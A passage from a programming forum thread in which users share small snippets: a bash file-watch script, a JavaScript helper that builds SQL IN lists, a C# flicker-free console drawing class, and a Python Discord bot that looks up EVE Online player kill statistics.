fi
else
echo "Usage: ./onchangedo.sh <file> <command>"
fi
else
echo "This script requires notify-tools to be installed!"
echo "(Specifically the 'inotifywait' command)"
exit 1
fi

CPU: 8700K MoBo: Strix Z370-E RAM: 32 Gigs Vengeance LPX GPU: 1070 + 780 Ti Case: Fractal Define C PSU: Seasonic 750W Cooling: NH-D15

Monitor: LG34UM95 Keyboard: niu mini with Box Jades Mouse: M570 Trackball Sound: Beyer Dynamics Custom One Pro

OS: Arch Linux Phone: LG V30 Laptop: L380 Yoga Thinkpad

btw I use archlinux

##### Share on other sites

Here's a function I've been using to take line-separated entries you can convert to be used in a SQL 'IN' statement

/**
* text {text} The line separated string to be converted
* options {object} Set 'oneLinePerItem' to true to output each item on new line
*                  Set 'ignoreDuplicates' to only output one of each item
*                  Set 'ignoreWhiteLines' to not take white line inputs into consideration
**/
function convertCommaSepList(text, options = {}) {
if (text || text === 0) {
var stringOutput = [];
text.split("\n").forEach(function(n){
var strToOutput;
if (typeof n === "string" && (!(!isNaN(parseFloat(n)) && isFinite(n)))) {
strToOutput = ("'" + n.trim().replace("'", "''") + "'");
} else if (!isNaN(parseFloat(n)) && isFinite(n)) {
if (options.treatListNumbersAsStrings) {
strToOutput = ("'" + n.trim().replace("'", "''") + "'");
} else {
strToOutput = n;
}
}

if (options.oneLinePerItem) {
stringOutput.push(strToOutput + "\r\n");
} else {
stringOutput.push(strToOutput);
}
});

if (options.ignoreDuplicates) {
stringOutput = stringOutput.filter(function(value, index, self) {
return self.indexOf(value) === index;
});
}

var result = stringOutput.join(",").trimEnd();

if (options.ignoreWhiteLines) {
result = result.replace(/'',/g, "");
}

return result;
}
return text
}

##### Share on other sites

After getting tired of people complaining that you can't make a console game engine in C# because of flicker, and having got some experience working with the console buffer in c++, I decided to try my hand at making a C# utility that allows you to act like you are doing console buffer swaps, is low overhead, and doesn't introduce flicker.

After a few hours of trying different things, I stumbled across the pattern:

Console.SetCursorPosition(0, 0);
Console.Write(char[]);

Since, when doing buffer swaps you are just rewriting the entire buffer anyway, this allows one to think like they are just doing it the Win32 way. Here's the beginnings of a class that implements that.

// This is the screen that we are drawing on.
// So far I haven't noticed any flickering.
class Screen
{
// properties
public char[] ScreenArray { get; set; }
public int ScreenWidth { get; set; }
public int ScreenHeight { get; set; }
public string WindowTitle { get; set; }

// fields
private readonly int _MAX_WINDOW_WIDTH = 230; // These values produce a nearly maximum sized
private readonly int _MAX_WINDOW_HEIGHT = 60; // window on a 1080p monitor.

private readonly int _STANDARD_WINDOW_WIDTH = 120; // these values produce a nice sized window
private readonly int _STANDARD_WINDOW_HEIGHT = 40;

//constructors
public Screen() { this.Setup(this._STANDARD_WINDOW_WIDTH, this._STANDARD_WINDOW_HEIGHT, "Screen Game Engine"); }

public Screen(string title) { this.Setup(this._STANDARD_WINDOW_WIDTH, this._STANDARD_WINDOW_HEIGHT, title); }

public Screen(int width, int height, string title) { this.Setup(width, height, title); }

// helper function for constructors
private void Setup(int width, int height, string title)
{
if (width > this._MAX_WINDOW_WIDTH)
throw new ArgumentOutOfRangeException("The maximum width of a console window is {0}. Yours was {1}.", Convert.ToString(this._MAX_WINDOW_WIDTH), Convert.ToString(width));

if (height > this._MAX_WINDOW_HEIGHT)
throw new ArgumentOutOfRangeException("The maximum height of a console window is {0}. Yours was {1}.", Convert.ToString(this._MAX_WINDOW_HEIGHT), Convert.ToString(height));

this.ScreenWidth = width;
this.ScreenHeight = height;

Console.SetWindowSize(width, height);
Console.SetBufferSize(width, height);

Console.CursorVisible = false;
Console.Title = title;
}

// methods

// when draw is called, it draws ScreenArray onto the console
// at this time, if your screen contains multiple lines, you must
// insert '\n' at the appropriate index, or make sure that the ScreenArray is
// console width aligned.
public void Draw()
{
Console.SetCursorPosition(0, 0);
Console.Write(this.ScreenArray);
}
}

Including comments, it comes in at 53 lines.

EDIT::

In some circumstances, the Draw method will scroll past the end of the last line, and end up hiding the first line of characters in ScreenArray. There are two methods to fix this issue:

Console.BufferWidth++;
Console.Write(ScreenArray);
Consol.BufferWidth--;

// However, this method can cause a flickering
// side scroll bar.
Console.SetCursorPosition(0,0);
Console.Write(ScreenArray);
Console.SetCursorPosition(0,0);
Console.Write(ScreenArray[0]);

// This method doesn't cause flickering

##### Share on other sites

Here is what is essentially a very early version of a discord bot that I wrote to fetch information from the EVE Online API (known as ESI), as well as zKillboard, a third party site that tracks player kills and losses. This bot makes use of discord.py (async branch).

import discord
from discord.ext.commands import Bot
import asyncio, aiohttp
import json
import datetime
import urllib

# Settings
prefix = '/'
TOKEN = ""
app = ""
contact = ""
headers = {'user-agent': f"Application: {app} Contact: {contact}", 'content-type': 'application/json'}

bot = Bot(command_prefix=prefix)

# Util Functions
async def getID(name):
urlName = urllib.parse.quote_plus(name)
url = f"https://esi.evetech.net/v2/search/?categories=character&datasource=tranquility&search={urlName}&strict=true"
async with aiohttp.Clientsession().get(url, headers=headers) as response:
r = response.json()
if 'character' in r:
return r['character'][0]
else:
return None

async def getKB(cid: int):
time = datetime.datetime.utcnow().strftime("%Y%m")
url = f"https://zkillboard.com/api/stats/characterID/{cid}/"
async with aiohttp.Clientsession().get(url, headers=headers) as response:
select = response.json()
stats = {'danger': select["dangerRatio"], 'gang': select["gangRatio"],
'kills_all': select["allTimeSum"], 'kills_mo': select["months"][time]["shipsDestroyed"],
'kburl': f"http://zkillboard.com/character/{cid}"}
return stats

# Bot Functions
@bot.event
async def on_ready():
print(f"Bot Online! \nLogged in as: {bot.user.name}")

@bot.command(aliases = ['eve_time', 'evetime', 'et'])
async def time():
time = datetime.datetime.utcnow()
return await bot.say("Current EVE (UTC) Time: " + time.strftime("%H:%M"))

@bot.command(aliases = ['t'])
async def threat(*, char: str):
cid = await getID(char)
if cid == None:
return await bot.say("Character not found!")
stats = await getKB(cid)

return await bot.say(f":alien: {char} \n\n :skull_crossbones: {stats['danger']}  :children_crossing: {stats['gang']} :knife: {stats['kills_all']} :calendar: {stats['kills_mo']} \n\n\n :bookmark: {stats['kburl']}")

bot.run(TOKEN)

The current version of the bot exists here: https://gitlab.com/colcrunch/killbot (About 48x the number of lines now )

## Create an account or sign in to comment

You need to be a member in order to leave a comment

## Create an account

Sign up for a new account in our community. It's easy!

Register a new account

## Sign in

Already have an account? Sign in here.

Sign In Now

×